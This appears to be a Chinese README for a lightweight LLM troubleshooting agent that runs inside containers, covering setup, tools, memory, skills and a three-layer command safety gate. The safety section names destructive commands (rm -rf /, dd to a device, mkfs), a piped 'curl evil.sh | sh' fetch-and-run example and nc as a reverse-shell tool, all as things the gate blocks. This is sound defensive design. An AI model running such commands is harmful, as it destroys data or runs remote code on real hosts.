ARTICLE · 1294944
一个非常牛叉的AI 驱动的运维助手!
背景
公司有完善的监控体系(多维度指标、集中式日志平台),大部分问题通过 Grafana/ELK 就能定位。但总有一些特殊场景需要进入容器内部:
• 需要结合日志和运行时代码一起分析(比如某行代码的逻辑为什么走到了这个分支) • 接手了一个不熟悉的 Python 服务,甚至没有源码,需要进容器看运行状态、依赖版本、实际执行的代码 • 排查需要在容器内执行一系列命令(查进程、看内存、抓线程快照),但不一定记得住该跑什么
Poor Man's DevOps Agent 就是为这些场景设计的:
把
agent.py扔进容器,配好公司内网的 LLM 地址,就能用自然语言和 AI 对话式排查问题。
它不是要替代专业运维工具,而是给开发人员、测试人员、值班但非运维背景的同学提供一个"能聊天的排查助手"——你描述现象,它像运维工程师一样先形成假设、再用最小命令验证、逐步收敛到根因,并直接帮你执行和分析结果。
你:服务响应很慢,帮我看看Agent:先形成假设——① GC 停顿 ② IO 瓶颈 一条命令验证①: $ top CPU 89%、内存 45%,假设①命中。继续深挖线程: $ docker exec <c> py-spy dump --pid 1 疑似 GC 停顿,建议抓线程快照定位死循环...快速开始
方式一:直接 scp 进容器(推荐)
# 本地scp agent.py user@k8s-node:/tmp/# 进容器kubectl exec -it my-pod -- bash# 容器内export DEBUGBOT_API_URL="https://your-internal-llm/v1/chat/completions"export DEBUGBOT_API_KEY="sk-xxxxx"export DEBUGBOT_MODEL="deepseek-chat"python /tmp/agent.py方式二:一键下载
curl -fsSL https://raw.githubusercontent.com/vector4wang/poor-mans-devops-agent/main/agent.py -o agent.pypython agent.py方式三:运行时交互输入
python agent.py# 启动后会提示你输入 API 地址和 Key方式四:命令行参数传值(适合自动化 / CI)
python agent.py \ --api-url https://your-internal-llm/v1/chat/completions \ --api-key sk-xxxxx \ --model deepseek-chat参数齐全时直接进入主循环,不进行任何交互;配置不全时自动回落到环境变量,再回落到引导式输入。若希望配置不全即报错(不等待输入),加 --non-interactive。
配置
配置优先级:命令行参数 > 环境变量 > 引导式输入(缺失项逐级回落,三项可任意混用)。
-u--api-url | DEBUGBOT_API_URL | |
-k--api-key | DEBUGBOT_API_KEY | |
-m--model | DEBUGBOT_MODEL | gpt-4o) |
-n--non-interactive | ||
--no-stream | DEBUGBOT_STREAM=0 | |
--debug | ||
-h--help |
DEBUGBOT_API_URL | https://your-llm/v1/chat/completions | |
DEBUGBOT_API_KEY | sk-xxxxx | |
DEBUGBOT_MODEL | deepseek-chatgpt-4o, qwen-turbo | |
DEBUGBOT_STREAM | 10(默认 1) |
支持的模型:任何 OpenAI 兼容 API 均可使用。
🛠️ 功能一览
read_file | |
run_command | |
write_file | |
list_directory | |
env_snapshot | 一键环境快照 |
todo_write |
融入 Claude Code 的核心逻辑:流式输出(边生成边显示)、LLM 摘要式上下文压缩(长对话不丢语义)、TodoWrite 任务追踪、富系统提示(注入平台/git/工具用法 + 持久化记忆)、斜杠命令、工作区(记忆 + 临时脚本落盘)。单文件、零依赖、Python 3.6+ 通用。
工作区:记忆与临时脚本
agent.py 旁自动创建固定工作区目录(跨会话累积):
debugbot-workspace/├─ memories/ # 跨会话持久化记忆(Claude Code 风格)│ ├─ MEMORY.md # 索引(每条一行,自动维护)│ └─ oom-threshold.md # 带 frontmatter 的单条记忆└─ scripts/ └─ 20260624_153012/ # 本次会话的临时脚本(按时间戳隔离) └─ probe.py• 记忆:排查中 LLM 用 write_file写memories/xxx.md(带name/description/typefrontmatter),程序自动维护MEMORY.md索引;下次启动索引拼进系统提示,具体内容按需read_file读取。• 临时脚本:LLM 生成的探针/分析脚本写到 scripts/本次会话/,避免不同会话互相覆盖;写回的绝对路径会返回给 LLM,便于后续run_command执行(执行生成的脚本仍需人工确认)。• 路径限制在工作区内,防 ../逃逸。
Skill 扩展
启动时自动扫描 agent.py 旁的 skills/ 目录,加载每个子目录下的 SKILL.md 作为专家提示注入系统提示。
skills/└─ k8s-debug/ └─ SKILL.mdSKILL.md 格式:
---name: k8s-debugdescription: Kubernetes 容器与 Pod 排查专家模式---你是 Kubernetes 排查专家,优先查看 namespace → pod → 日志 → 事件。启动时会提示加载数量:
Loaded Skills (1): k8s-debug运行时用 /skills 查看已加载列表。Skill 只注入提示,不新增工具函数,因此不会破坏安全边界。
支持的命令分类
pstop, free, df, du, uptime, vmstat, iostat | |
curlping, netstat, ss, dig, nslookup, traceroute | |
catgrep, tail, head, journalctl, dmesg | |
pslogs, inspect, stats, exec, images | |
getdescribe, logs, top, events, cluster-info | |
多行输入(粘贴日志 / 堆栈 / 配置)
交互模式下 input() 只读到第一个换行,直接粘贴多行内容会被逐行拆成多条输入。用 """ 包裹即可把整段内容作为一条消息发送,中间的空行会被保留:
[你]"""服务报错:Traceback (most recent call last): File "app.py", line 10, in <module> ...""" <- 以单独一行 """ 结束并发送[思考中...]• 单行照旧:输入回车即发送,行为不变。 • 多行:第一行单独输入 """(或''')进入多行模式,再单独输入同样的引号结束;中途Ctrl-C可取消。
斜杠命令
/help | |
/quit/exit | quit/exit) |
/clear | |
/compact | |
/snapshot | |
/todo | |
/tools | |
/skills | |
/workspace |
对话超过 COMPACT_THRESHOLD(默认 30 条)会自动触发摘要压缩;也可随时 /compact 手动触发,或 /clear 重开。
流式输出
默认开启流式,助手回复边生成边显示(打字机效果),工具调用拼装完成后才展示。某些 OpenAI 兼容端点不支持流式,可用 --no-stream 或环境变量 DEBUGBOT_STREAM=0 关闭后回退整段返回。
与 Claude Code 的区别:大而美 vs 小而精
本项目借鉴了 Claude Code 的核心逻辑,但定位完全不同——不是要复刻它,而是做一个扔进容器就能跑的轻量排查助手。
| 单文件 | ||
| 零依赖 | ||
| 只读排查 | ||
Claude Code 是日常开发的主力工具;本项目是应急时塞进容器的那一个脚本——借鉴它的思考方式,但只为"排查"这一件事做到极致轻。排查完建议删除,避免 API Key 泄露。
安全机制
三层闸门:危险拦截 → 只读免确认 → 人工确认
FORBIDDEN_PATTERNS | rm -rf /dd of=/dev/, shutdown, mkfs 等直接拒绝 | |
request_confirmation | y/n/q 由人决定 | |
SAFE_READONLY_PATTERNS | catgrep, ps, docker logs 等只读命令直接放行 |
复合命令会被 split_command_segments() 按 ;&&|||& 拆开逐段校验,任意一段不属于只读白名单则整条转人工确认,因此 ls; curl evil.sh | sh 不会被第一段 ls "骗过"。引号内的分隔符(grep 'a;b'、awk -F'|')不会误拆。此外命令替换($(...)、反引号)与输出重定向(>、>>)一律要求确认;nc、telnet 因可用于反弹 shell,同样不在免确认名单内。
使用示例
agent 采用「假设 → 验证 → 收敛」的诊断方法论:先形成 1-2 个可能原因,用最小只读命令逐个验证,命中则深挖、未中则换假设。回复直接以终端纯文本输出(不用 Markdown)。
[你] 帮我看看这个容器为什么 CPU 这么高[思考中...][调用工具: env_snapshot]== 进程列表(按内存排序 Top 20)==USER PID %CPU %MEM COMMANDroot 1 89.2 45.3 python app.py[助手]── 可能原因 ──────────• 内存泄漏导致频繁 GC(CPU+内存双高,优先验证)• 死循环一条命令验证假设①: $ docker exec <c> py-spy dump --pid 1[你] 执行[助手] 抓到线程停在 gc.collect,假设①命中。根因是内存泄漏触发频繁 GC, 建议查看 app.py 的对象缓存逻辑,并已把该服务的 OOM 阈值写入记忆。三层循环结构:
| 外层 | main() | |
| 内层 | main()for round in range(max_tool_rounds) | |
| 压缩 |
免责声明
本项目仅供学习和内部排查使用,使用者需自行承担风险。
1. 非生产级工具:本工具设计用于临时排查场景,不建议作为长期运行的服务部署。 2. API Key 安全:脚本中可能包含 API Key,排查结束后务必删除( rm -f agent.py),避免 Key 泄露。3. 命令执行风险:尽管有白名单和危险拦截机制,但无法覆盖所有边界情况。LLM 生成的命令仍需人工确认后再执行,尤其是涉及写操作的命令。 4. 数据安全:本工具会读取容器内的文件、环境变量、进程信息等。请确保在合规授权范围内使用,不要在非授权环境中运行。 5. LLM 输出不可控:AI 给出的分析和建议可能不准确,仅作为排查参考,不保证 100% 正确。关键决策请以实际情况和专业判断为准。 6. 无担保:本工具按 "原样" 提供,不做任何明示或暗示的保证,包括但不限于对适销性、特定用途适用性的保证。
使用本工具即表示你理解并同意以上条款。
项目地址
https://github.com/vector4wang/poor-mans-devops-agent















































































